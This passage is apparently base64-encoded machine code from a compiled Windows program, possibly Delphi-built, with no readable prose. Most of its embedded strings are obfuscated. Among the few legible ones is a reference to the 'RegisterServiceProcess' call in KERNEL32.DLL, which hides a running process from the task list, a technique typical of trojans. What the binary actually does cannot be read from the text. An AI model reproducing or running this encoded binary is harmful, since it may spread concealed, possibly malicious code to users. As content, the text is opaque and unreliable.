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
z///hNt0BoB9/wB1BDPA6wKwAYvY6wIz2zPAWllZZIkQaIOPQQCNRey6AwAAAOhxpf7/w+nf
n/7/6+uLw1uL5V3DAAD/////AwAAAEZDOQD/////AQAAADAAAAD/////AQAAADEAAAD/////
AwAAAEZENABVi+yDxPSJRfyLRfzoC6n+/zPAVWhSkEEAZP8wZIkgsgGhuCxBAOhBnf//iUX0
M8BVaDWQQQBk/zBkiSCLRfSDwAyLVfzoFqX+/4tF9OiSnv//iEX7gH37AHQIi0X06F2f//8z
wFpZWWSJEGg8kEEAi0X06Kib/v/D6Saf/v/r8DPAWllZZIkQaFmQQQCNRfzod6T+/8PpCZ/+
/+vwikX7i+Vdw2SQQQARAi4yBAAAAAAQQABIAAAAVYvsUVOL2IvDuryQQQDolaT+/2oAjUX8
UOjazf//hcB0F4tF/IPgAYP4AXUMi8O6yJBBAOhvpP7/W1ldwwAAAP////8BAAAAMQAAAP//
//8BAAAAMwAAAFWL7LlTAAAAagBqAEl1+VMzwFVoF6BBAGT/MGSJILIBoWi7QADotpr+/6MU
70EAsgGhaLtAAOilmv7/iUWMsgGhaLtAAOiWmv7/iUWIswEzwIlFlI2NYP///zPSuCygQQDo
es7//4uVYP///7j07kEA6Nqj/v9qAGoAjUX8UI2NXP///zPSuGSgQQDoUM7//4uVXP///zPJ
ofTuQQDoPs3//4N9/AAPhLMAAAD/NfTuQQCNjVj///8z0riEoEEA6BzO////tVj/////dfxo
mKBBAI1F/LoEAAAA6Dmm/v9qAGoAjUX4UI2NVP///zPSuKSgQQDo583//4uVVP///zPJi0X8
6NfM//9qAGoAjUX0UI2NUP///zPSuMCgQQDovc3//4uVUP///zPJi0X86K3M//9qAGoAjUXw
UI2NTP///zPSuNSgQQDok83//4uVTP///zPJi0X86IPM///rR41N9DPSuPCgQQDocs3//42V
SP///7gFAAAA6FLO////tUj///9oCKFBAP919I1F+LoDAAAA6H+l/v+NVfC4BQAAAOgqzv//
agBqAY1F0FAzyboUoUEAofzuQQDoIcz//2oAagGNRcxQM8m6JKFBAKH87kEA6AjM//9qBo1F
wLkBAAAAixVgkEEA6Oey/v+DxASLRcCDwASLVfToUqL+/2oAagGNhUT///9QM8m6NKFBAKH8
7kEA6MbL//+LlUT///+LRcCDwAjoJaL+/42NQP///zPSuEShQQDoo8z//4uVQP///4tFwIPA
FOgCov7/jY08////M9K4WKFBAOiAzP//i5U8////i0XAg8AQ6N+h/v+NjTj///8z0rhsoUEA
6F3M//+LlTj///+LRcCDwAzovKH+/8dFoAEAAADGRYcAi0XAi1WgiwSQ6EP8//+EwHQcxkWH
AY1F9ItVwItNoIsUiujOof7/x0WgBQAAAP9FoIN9oAV+yWoBagGNhTT///9Qi030uoihQQCh
/O5BAOjtyv//gH2HAHQPjUXUupShQQDojqH+/+sNjUXUuqChQQDof6H+/2oBagGNhTD///9Q
i03UuqyhQQCh/O5BAOiuyv//ahSNhWf///9Q6DjI/v8Pt8BQ6O/I/v9qBY1FyLkBAAAAixVg
kEEA6Hax/v+DxASNhSj///+KlWf///+IUAHGAAGNlSj///+NhST////o+JP+/42FIP///4qV
aP///4hQAcYAAY2VIP///42FJP///7EC6KOT/v+NlST///+NhRz////owpP+/42FIP///4qV
af///4hQAcYAAY2VIP///42FHP///7ED6G2T/v+NlRz///+NhSz////oMKL+/4uFLP///1CN
jRj///8z0ri4oUEA6NfK//+LlRj///9Y6FOj/v8Pha8AAACNTewz0rjEoUEA6LbK//+NTegz
0rjgoUEA6KfK//+NjRT///8z0rgEokEA6JXK//+LlRT///+LRciDwATo9J/+/42NEP///zPS
uESiQQDocsr//4uVEP///4tFyIPACOjRn/7/jY0M////M9K4gKJBAOhPyv//i5UM////i0XI
g8AM6K6f/v+NjQj///8z0ri0okEA6CzK//+LlQj///+LRciDwBDoi5/+/+mqAAAAjU3sM9K4
9KJBAOgHyv//jU3oM9K4EKNBAOj4yf//jY0E////M9K4MKNBAOjmyf//i5UE////i0XIg8AE
6EWf/v+NjQD///8z0rhso0EA6MPJ//+LlQD///+LRciDwAjoIp/+/42N/P7//zPSuKijQQDo
oMn//4uV/P7//4tFyIPADOj/nv7/jY34/v//M9K43KNBAOh9yf//i5X4/v//i0XIg8AQ6Nye
/v+4BAAAAOiqkv7/i1XIi1SCBI1F5OgHn/7/jUXY6Gee/v9qAGoBjUXgUI2N9P7//zPSuByk
QQDoMcn//4uF9P7//1CNhfD+//+5KKRBAIsV/O5BAOjYoP7/i4Xw/v//M8la6AbI//+NVaiL
ReDox5L+/4lFqIN9qAB0PI2N6P7//zPSuDikQQDo4Mj//4uN6P7//42F7P7//4sV6O5BAOiN
oP7/i5Xs/v//i0WMiwj/UVj/TajrYmoAagGNRdhQM8m6TKRBAKH87kEA6J3H//9qAWoBjYXk
/v//ULlcpEEAumikQQCh/O5BAOh+x///agFqAY2F4P7//1Azybp4pEEAofzuQQDoYsf//4tF
2OhW2v7/hMB1AjPbagFqAY2F3P7//1CNhdj+///oBvn//4uN2P7//7qEpEEAofzuQQDoKcf/
/4TbD4QUCAAAagWNRby5AQAAAIsVYJBBAOgArv7/g8QEi0W8g8AEupSkQQDoaZ3+/4tFvIPA
CLqgpEEA6Fmd/v+LRbyDwAy6rKRBAOhJnf7/i0W8g8AQurikQQDoOZ3+/2oIjUXEuQEAAACL
FWCQQQDoqK3+/4PEBItFxIPABLrEpEEA6BGd/v+LRcSDwAi6xKRBAOgBnf7/i0XEg8AMusSk
QQDo8Zz+/4tFxIPAELrQpEEA6OGc/v+LRcSDwBS63KRBAOjRnP7/i0XEg8AYuuikQQDowZz+
/4tFxIPAHLr0pEEA6LGc/v+NRdToVZz+/2oAagGNhdT+//9QM8m6AKVBAKH87kEA6B3G//+L
hdT+//+NVaTo25D+/4lFpIN9pAB0BoN9pAd1B8dFoAEAAABqAGoBjYXQ/v//UDPJuhClQQCh
/O5BAOjdxf//i4XQ/v//jVWQ6JuQ/v+JRZCDfaAHD4+1BgAAjY3M/v//M9K4IKVBAOiwxv//
i5XM/v//i0XEi02giwyIjUXc6F2e/v9qAGoBjUXgUI2FyP7//7kopEEAixX87kEA6D+e/v+L
hcj+//8zyYtV3Ohrxf//jVW0i0Xg6CyQ/v+JRbSDfbQAD4QXBgAAi0W0hcAPjgwGAACJRYDH
RbgBAAAAoRTvQQCLEP9SQI2VyP3//4tFuOjmj/7/jZXI/f//uPTuQQDoVp3+//816O5BAGiY
oEEA/3Xc/zX07kEAjY3A/f//M9K4LKVBAOjwxf///7XA/f//jYXE/f//ugUAAADoEp7+/4uV
xP3//6EU70EAiwj/UVihFO9BAIsQ/1IUSIlFsItFkItVsCvQD4xmBQAAQomVfP///4lFrGoB
agGNhbz9//9QuTylQQC6SKVBAKH87kEA6IXE//+KRYfojfT//4TAD4QeBQAAg33UAHQKg32U
CA+FRgEAADPAiUWUg33YAA+FLAEAAItFqOiWjv7/i9CNjbj9//+LRYyLGP9TDIuVuP3//7j0
7kEA6J6a/v+h9O5BAOgg1/7/hMAPhOUAAACNVdSh9O5BAOhP2f7/jZWw/f//i0XU6GHH//+L
hbD9//+NjbT9//+6AQAAAOjrxP//i4W0/f//ulSlQQDoY53+/3Q5/3XUaGClQQC4BAAAAOgP
jv7/i1W8i0SCBI2NrP3//zPS6LPE////taz9//+NRdS6AwAAAOjYnP7//zXw7kEAaJigQQD/
ddSNhaj9//+6AwAAAOi6nP7/i4Wo/f//6HPW/v+EwHVUi0XUUItF9FCLRfhQagCNhaT9//+5
mKBBAIsV8O5BAOgTnP7/i42k/f//ixX07kEAodjuQQDoTdb//+sYjUXUi1XY6OCZ/v/rC41F
1ItV2OjTmf7/sgGh+CRBAOjHif//oxzvQQAzwFVoTp9BAGT/MGSJIGhspUEA/3XwaHilQQD/
dfhohKVBAKEc70EAg8AMugUAAADoEZz+/42NoP3//4tVrKEU70EAixj/UwyLlaD9//+hHO9B
AItAEIsI/1E0aPTuQQCLVdS4YKVBAOipnf7/i8hJugEAAACLRdToEZ3+/6Ec70EAg8AUixX0
7kEA6O6Y/v+LRYiLEP9SQItV7ItFiIsI/1E0upClQQCLRYiLCP9RNItV5ItFiIsI/1E0upCl
QQCLRYiLCP9RNItV6ItFiIsI/1E0i1WIoRzvQQDooon///818O5BAGiYoEEA/3XUjYWc/f//
ugMAAADoSJv+/4uVnP3//6Ec70EA6FyK//+hHO9BAOiOi///oRzvQQDoSI3//42NmP3//4tV
rKEU70EAixj/UwyLlZj9//+LRfjoU5v+/3UljY2U/f//M9K4nKVBAOi3wv//i42U/f//i1Ws
oRTvQQCLGP9TIIN9rAB1QoN9zAB1PItN0ItVrKEU70EAixj/UyBqAWoBjYWQ/f//ULmUoUEA
uiShQQCh/O5BAOhpwf//jUXMupShQQDoEJj+/2oBagGNhYz9//9QubilQQC6SKVBAKH87kEA
6D3B//+hHO9BAItACFCNjYj9//+LVayhFO9BAIsY/1MMi5WI/f//i030i0X46LyU//+EwA+E
kgEAAGoAagGNhYT9//9QM8m6xKVBAKH87kEA6OzA//+LhYT9//+NVZzoqov+/4lFnP9FnI2V
yP3//4tFnOiKi/7/jZXI/f//uPTuQQDo+pj+/2oBagGNhYD9//9Qiw307kEAusSlQQCh/O5B
AOiawP///0WUagFqAY2FfP3//1C50KVBALpIpUEAofzuQQDoeMD//2oAagGNhXj9//9QM8m6
hKRBAKH87kEA6FzA//+LhXj9//+NVZjoGov+/4lFmGlFmGDqAABQ6I6+/v9qAWoBjYV0/f//
UI2NcP3//4tVrKEU70EAixj/UwyLjXD9//+63KVBAKH87kEA6AvA//+Nlcj9//+LRazovYr+
/42VyP3//7j07kEA6C2Y/v9qAWoBjYVs/f//UIsN9O5BALoQpUEAofzuQQDozb///4tFrDtF
sHURuPTuQQC6oKFBAOgmlv7/6x6Nlcj9//+LRaDoZor+/42VyP3//7j07kEA6NaX/v9qAWoB
jYVo/f//UIsN9O5BALoApUEAofzuQQDodr///zPAWllZZIkQaFWfQQChHO9BAOiPjP7/w+kN
kP7/6+7/Raz/jXz///8PhaT6////Rbj/TYAPhf75//+KRYfoRO///4TAdA+DfaAHdRDHRaAB
AAAA6wfHRaAHAAAA/0Wgg32gBw+OS/n//6EU70EA6DOM/v+LRYzoK4z+/4tFiOgjjP7/M8Ba
WVlkiRBoHqBBAI2FaP3//7oYAAAA6BaV/v+Nhcj+//+6FQAAAOgGlf7/jYUs////ug4AAADo
9pT+/41FvIsVYJBBALkEAAAA6N+b/v+NRcy6DQAAAOjWlP7/w+lEj/7/66hbi+VdwwD/////
LAAAAIafl6aqkaOXj32alaWfpKGZpI17oaSWpKGVpVJ0k5ShqJ6lUoCRn5OalaOOAAAAAP//
//8UAAAAX31/e5CEjTpoeYKGO1l8fYqNh44AAAAA/////wkAAABRcHF+hXuCgmwAAAD/////
AQAAAFwAAAD/////EgAAAGxja2g5W4R5goI3WX16iX2MiQAA/////wsAAABlXGRhMmJ1g4h0
ggD/////EQAAAGtiamc4WX+KiIF3kDhjd4R9AAAA/////w4AAACFhIJ4fnmMQoN3h0KCigAA
/////wEAAABAAAAA/////wUAAABGQjFCQgAAAP////8FAAAARkIxQkMAAAD/////BQAAAEZC
MUJBAAAA/////wkAAAB3fHN6dTt8dIQAAAD/////CgAAAHZ8e3F0cz1+doIAAP////8RAAAA
fIR4g314goB7gER6h4JEhJAAAAD/////AwAAAEZENQD/////AQAAADEAAAD/////AQAAADAA
AAD/////AwAAAEZENgD/////AwAAAE96eAD/////EQAAAGCEgng4eIWEhzV7iox2iTdXAAAA
/////xoAAABvjZJAl4OMj5Q+j5KQjJOPTT6GkoKBiIGUTAAA/////zcAAACSoFyqn6mgrF6g
r7GjW52voaOls61brJ6wnFyus6BcqqNboKKxW7CyXquxq7KqXKGjW7Kmsa+dAP////8zAAAA
f6qonqymWKafV6iun5uZrFqYsa6emKpZnaamWZ+jWJqsmqCisKZYqq+cWK2fV6WaqJunAP//
//8pAAAAdaCelKKcTqOVTZWko6GTT5WgopRQjqCSmJaknlCeo5RQoZNPnY6ck58AAAD/////
NAAAAICrrZ9bnaxaoKRZm62boaOxp1mdqqZZppxYoqihp6unnJuiLalYqq+gWKafW6ienqSr
rZ8AAAAA/////xAAAABffTY2X4OMNniGejaQg4pVAAAAAP////8VAAAAb35/O5WIjzuIeo6A
jkc6b4R6iIaPAAAA/////zEAAACBVamcpplWsKeqVqugnqlXnp6inFiepFenp5qcqlWqplid
l62dVa+mradWmJyrn5qdAAAA/////zEAAACBVZ6mqJpWsKeqVpqZo1afnaGmV6WaVq6hqZ5X
rJ2fqlibn6OdVaqfmalWgFiom6WcAAAA/////ykAAAB5TZaeoJJOqJ+iTpuZmJNPpJWTT5aW
mpRQoZaQpE13T6OSnJOfTaeepQAAAP////82AAAAkaKkr12jrlyxoqBco6OnoV2xpLClWq+k
olqkqqOpramerqSrq1qvpJ6uW7Wsr1udsKVboqysAAD/////AwAAAH1qbAD/////BAAAAFxG
QTAAAAAA/////wgAAABrf3ByPXB5egAAAAD/////BAAAAEZCMUIAAAAA/////wEAAAAyAAAA
/////wQAAABGQzQzAAAAAP////8DAAAARkM0AP////8EAAAARkQxMQAAAAD/////AwAAAHpw
bgD/////AwAAAHZ1cwD/////AwAAAGxofAD/////AwAAAG12dQD/////AQAAAHcAAAD/////
AQAAAHkAAAD/////AQAAAGgAAAD/////AQAAAGkAAAD/////AQAAAHQAAAD/////BAAAAEZD
NDIAAAAA/////wUAAABGQzQyMQAAAP////8CAAAAfGkAAP////8EAAAAOWx1dgAAAAD/////
AQAAADcAAAD/////AwAAAEZEMwD/////AwAAAG9/bQD/////AQAAAC4AAAD/////AQAAACIA
AAD/////AwAAACIgPAD/////AQAAAD4AAAD/////AQAAACAAAAD/////EwAAAImLioiMhoSF
iVd9jId4i0d9hoUA/////wEAAAA4AAAA/////wMAAABGQzgA/////wEAAAA5AAAA/////wQA
AABGRDEwAAAAAFWL7DPJUVFRUVFRUTPAVWj6pkEAZP8wZIkgagBqAY1F+FAzyboQp0EAofzu
QQDolbj//4tF+I1V/OhWg/7/iUX8gz0Q70EAAXVGjU30M9K4HKdBAOhvuf//i1X0uPTuQQDo
0o7+/2oBagCNRfBQjU3sM9K4TKdBAOhLuf//i1Xsiw3k7kEAofTuQQDoOLj//4N9/AB/RoM9
EO9BAAJ8PWoAagGNRehQM8m6aKdBAKH87kEA6BC4//+LRejogNj//2oBagGNReRQuXinQQC6
EKdBAKH87kEA6Oy3//+DffwBfxmDPRDvQQACfBCwAejm5///hMB0Bejt6f//M8BaWVlkiRBo
AadBAI1F5LoGAAAA6PON/v/D6WGI/v/r64vlXcMAAAD/////AwAAAEZDNAD/////JQAAAH+Y
kJ+jipyQiHaTjp6YnZqSnYZ0mp2PnZqOnktxoZqXm5uPnYgAAAD/////EgAAAF2FjoaFhXh8
OVqAin55i4eLjwAA/////wQAAABGQzQzAAAAAP////8BAAAAMQAAAFWL7GoAU1aL8ovYM8BV
aNGnQQBk/zBkiSCNRfzoK43+/4XbfhCNRfy66KdBAOh+j/7/S3Xwi8aLVfzoYY3+/zPAWllZ
ZIkQaNinQQCNRfzo+Iz+/8Ppiof+/+vwXltZXcMAAAD/////AQAAACAAAABRi8y6GKhBALg4
qEEA6Cbm//88AXUMagHou7P+/1D/VCQIWsP/////FgAAAFJlZ2lzdGVyU2VydmljZVByb2Nl
c3MAAP////8MAAAAS0VSTkVMMzIuRExMAAAAAFWL7DPAVWjLqEEAZP8wZIkguPzuQQDoZYz+
/7j47kEA6FuM/v+49O5BAOhRjP7/uPDuQQDoR4z+/7js7kEA6D2M/v+46O5BAOgzjP7/uOTu
QQDoKYz+/7jg7kEA6B+M/v+43O5BAOgVjP7/uNjuQQDoC4z+/zPAWllZZIkQaNKoQQDD6ZCG
/v/r+F3DGQAAANyoQQDkWkAAtFpAAIBYQAAYWEAA7F5AALxeQACEs0AAVLNAALyzQACMs0AA
vGFAAIxhQADUskAAlLFAAKS0QAB0tEAAKLVAANi0QACI5EAA0ONAAFzlQAAU5UAAVOtAAAzr
QACU60AAZOtAAHjzQABI80AAhPZAAFT2QACE90AAVPdAAIgOQQBYDkEA5A5BALQOQQA8FkEA
4BVBAIQkQQA8JEEAsCxBAIAsQQCYM0EAaDNBAHBdQQCcXEEApF5BAHReQQAAAAAASKhBAFWL
7LlBAAAAagBqAEl1+VFTVle41KhBAOi/sP7/vhDvQQAzwFVo3bRBAGT/MGSJIDPAVWiOtEEA
ZP8wZIkgaiDo07H+/1Do/bL+/2r/6Nax/v9Q6Piy/v/o6/3//41N8DPSuPS0QQDonLX//4tV
8Lj87kEA6P+K/v9qAGoBjUXsUDPJugy1QQCh/O5BAOh2tP//i0Xsi9boOH/+/4kG/waNlez+
//+LBugbf/7/jZXs/v//uNjuQQDoi4z+/2oBagGNhej+//9Qiw3Y7kEAugy1QQCh/O5BAOgr
tP//utjuQQAzwOjbfP7/jY3k/v//M9K4GLVBAOgNtf//i5Xk/v//uOzuQQDobYr+/2oAagCN
heD+//9QjY3c/v//M9K4ZLVBAOjgtP//i5Xc/v//M8mh7O5BAOjOs///i5Xg/v//uODuQQDo
Lor+/2oAagCNhdj+//9QjY3U/v//M9K4eLVBAOihtP//i5XU/v//M8mh7O5BAOiPs///i5XY
/v//uOTuQQDo74n+/42V0P7//7gBAAAA6F+1//+LldD+//+4+O5BAOjPif7/jZXM/v//uAIA
AADoP7X//4uVzP7//7jo7kEA6K+J/v+Njcj+//8z0riItUEA6C20//+Lhcj+//9QjYXE/v//
ixXo7kEAihLo14r+/4uVxP7//7jw7kEAWejGi/7/jZW4/v//odjuQQDoMsj+/4uFuP7//42V
vP7//+jFwf7/i4W8/v//jY3A/v//M9LoRsf+/4uVwP7//7gI70EA6C6J/v9qAWoBjYW0/v//
UIsNCO9BALqctUEAofzuQQDonrL//2oBagGNhbD+//9Quai1QQC6uLVBAKH87kEA6H+y//+N
jaz+//+6AQAAAKEI70EA6Gqz//+Llaz+//+4AO9BAOjKiP7/xgUg70EAADPbxgUh70EAAKEA
70EAusS1QQDow4v+/3QmoQDvQQC61LVBAOiyi/7/dBWhAO9BALrktUEA6KGL/v8PhbwCAACN
laD+//+4AQAAAOi/ev7//7Wg/v//aPi1QQCNlZz+//+4AgAAAOikev7//7Wc/v//aPi1QQCN
lZj+//+4AwAAAOiJev7//7WY/v//aPi1QQCNlZT+//+4BAAAAOhuev7//7WU/v//aPi1QQCN
lZD+//+4BQAAAOhTev7//7WQ/v//aPi1QQCNlYz+//+4BgAAAOg4ev7//7WM/v//aPi1QQCN
lYj+//+4BwAAAOgdev7//7WI/v//aPi1QQCNlYT+//+4CAAAAOgCev7//7WE/v//jYWk/v//
ug8AAADoaIr+/4uFpP7//42VqP7//+gPwf7/i5Wo/v//uATvQQDof4f+//81+O5BAGgEtkEA
jY2A/v//M9K4ELZBAOjysf///7WA/v//uPTuQQC6AwAAAOgViv7/oQDvQQC65LVBAOhWiv7/
dTRqAf819O5BAGj4tUEA/zUE70EAjYV8/v//ugMAAADo4Yn+/4uFfP7//+jaiv7/UOgIr/7/
oQDvQQC6xLVBAOgRiv7/D4WaAgAA/zXw7kEAaAS2QQD/NQjvQQC4AO9BALoDAAAA6JuJ/v+N
lXj+//+h5O5BAOg3v/7/jYV4/v//ugS2QQDow4j+/4uFeP7//1CNlWz+//+4AQAAAOjoeP7/
i4Vs/v//jZVw/v//6CfF/v+LhXD+//+NlXT+///o7r7+/4uVdP7//1johon+/w+FigAAAKEA
70EAUI2VaP7//7haAAAA6LL4//+LhWj+//9QjZVk/v//uFoAAADom/j//4uFZP7//1BqAY2V
YP7//7gBAAAA6G54/v+LlWD+//8zyaHY7kEA6LTC//+EwHQuagCNlVz+//+4AQAAAOhGeP7/
i4Vc/v//6LuJ/v9QoQDvQQDosIn+/1Do9qv+/2oBoQTvQQDonon+/1DozK3+/+luAQAAjYVY
/v//ULkCAAAAuiS2QQCh2O5BAOisuv//i4VY/v//ujC2QQDotIj+/w+FNgEAAI2FVP7//1C5
CAAAALo8tkEAodjuQQDoe7r//4uFVP7//7oM70EA6Md5/v+jDO9BAIsVDO9BAKHY7kEA6I68
//9oQLZBAOikrP7/ZoXAD4XaAAAAjY1Q/v//M9K4ULZBAOjBr///i5VQ/v//uPTuQQDoIYX+
/42FTP7//4sN9O5BAIsV8O5BAOheh/7/i4VM/v//6IvB/v+EwHV8ofTuQQBQaGS2QQCNlUj+
//+4WgAAAOhA9///i4VI/v//UI2VRP7//7haAAAA6Cn3//+LhUT+//9QoQzvQQBQagBqAIsN
8O5BADPSodjuQQDoArT//42FQP7//4sN9O5BAIsV8O5BAOjjhv7/i4VA/v//ugIAAADoG8H+
/7jY7kEAiw307kEAixXw7kEA6L2G/v/GBSHvQQAB6wfGBSDvQQABodjuQQDos9f//4E+QB8A
AH4CswFoQLZBAOiTq/7/ZoXAD5TACsN1DYA9IO9BAAAPhIwDAACAPSHvQQAAD4V/AwAAaEC2
QQDoTav+/2oBagGNhTz+//9QuXC2QQC6fLZBAKH87kEA6H6t//9qAWoBjYU4/v//ULmItkEA
upS2QQCh/O5BAOhfrf//agBqAY2FNP7//1AzyboMtUEAofzuQQDoQ63//4uFNP7//4vW6AJ4
/v+JBugTz/7/g8T43Rwkm42FMP7//+jp2v7/i5Uw/v//uPTuQQDofYP+/42FLP7//4sV9O5B
AIoSiFABxgABjZUs/v//jYUo/v//6IR2/v+NhST+//+LFfTuQQCKUgGIUAHGAAGNlST+//+N
hSj+//+xAugsdv7/jYUo/v//upi2QQAzyYoIQehjdv7/dXuNhST+//+LFfTuQQCKUgOIUAHG
AAGNlST+//+NhSD+///oH3b+/42FHP7//4sV9O5BAIpSBIhQAcYAAY2VHP7//42FIP7//7EC
6Md1/v+NhSD+//+6nLZBADPJighB6P51/v91FrgUAAAA6IJ2/v+D+Ah1B8YFIO9BAAGAPSDv
QQAAD4SLAAAAagFqAY2FGP7//1C5cLZBALqotkEAofzuQQDoAqz//7IBoWi7QADo9nj+/6MU
70EAagGNjRT+//8z0ri0tkEA6N2s//+LhRT+//9QjYUQ/v//ixX47kEAihLoh4P+/42FEP7/
/7rAtkEA6DOE/v+LhRD+//+5FO9BAFroHsb//6EU70EA6Mh4/v+zAYTbD4Q4AQAAagBqAY2F
DP7//1AzybrMtkEAofzuQQDocqv//4O9DP7//wAPhQ8BAAC4MgAAAOijdf7/g/gID4X8AAAA
agFqAY2FCP7//1C5JLZBALqotkEAofzuQQDoM6v//4A9IO9BAAB0CMcGAwAAAOsGxwYBAAAA
uAIAAADoWnX+/0h1Ebj07kEAuty2QQDocIH+/+sPuPTuQQC6ELdBAOhfgf7/iwaZUlBqAGoD
M8DoM8H+/+gEov7/6Lmh/v9SUI2NBP7//zPSofTuQQDowav//42FBP7//7r4tUEA6DGD/v+L
hQT+//9QjY38/f//M9K4dLdBAOiYq///i438/f//jYUA/v//ixXw7kEA6EWD/v+LhQD+//9a
6BHY//9qAWoBjYX4/f//ULlwtkEAusy2QQCh/O5BAOhWqv//6Inx//+4iLdBAOhj2f//agFq
AY2F9P3//1C5iLZBALp8tkEAofzuQQDoKKr//zPAWllZZIkQ6xTpoXn+/7iIt0EA6CvZ///o
Znv+/zPAWllZZIkQaOS0QQCNhfT9//+6CgAAAOgtgP7/jYUw/v//ui8AAADoHYD+/41F7LoC
AAAA6BCA/v/D6X56/v/ry19eW+ikfv7//////w8AAABpYlppbVRmWnJmfYdZdIEA/////wMA
AABGQzAA/////0EAAACbtKy7v6a4rKSSr6q6tLm2rrminrGzqra/uKKKvbe4rLa5nKy6uK+2
tqGLv7ixtbmtt6KasKqys2iLtbOsqri6pAAAAP////8IAAAAX3F/gX56bnoAAAAA/////wcA
AABScH94gnp8AP////8KAAAAS2qBdXSHcnx2cgAA/////wMAAABGRDEA/////wQAAAAxLjg4
AAAAAP////8DAAAARkMxAP////8GAAAAgHN9b0A8AAD/////BgAAAIBtbHlAPAAA/////wgA
AACBgXtye3hAQAAAAAD/////AQAAACAAAAD/////AQAAAFwAAAD/////CQAAAIKCfEJCO3OH
dQAAAP////8BAAAAMgAAAP////8CAAAAc2MAAP////8BAAAAOAAAAGBzfU9udwAA/////wsA
AABuYnmDVUJCP3eHdQD/////AgAAACAgAAD/////AQAAADEAAAD/////AwAAAEZEMgD/////
AQAAADAAAAD/////AwAAAEZDOQACMTYAAjEwAP////8DAAAARkQzAP////8DAAAANDUyAP//
//8CAAAAOlwAAP////8EAAAARkM0MQAAAAD/////KQAAAIuAl6FzjpuOYp9+jnWWnI5+nHGO
gpqPjnOil4Oqkn2OfZaRd496k4eNAAAA/////1kAAAC7sMfRo77Lf7bC0NLJzMx/kYuOf6PM
ztjSxsXH1H0Hf5KNjpCAj9CvgH2rwMTCfsjOfY1/qMLBx899w82Ain6i1cbS2cXMin+txsHH
z77BwM59q8TYxsHOvQAAAP////8LAAAAbmJ5g1VwfT9liIMA/////wYAAABgc31PbncAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
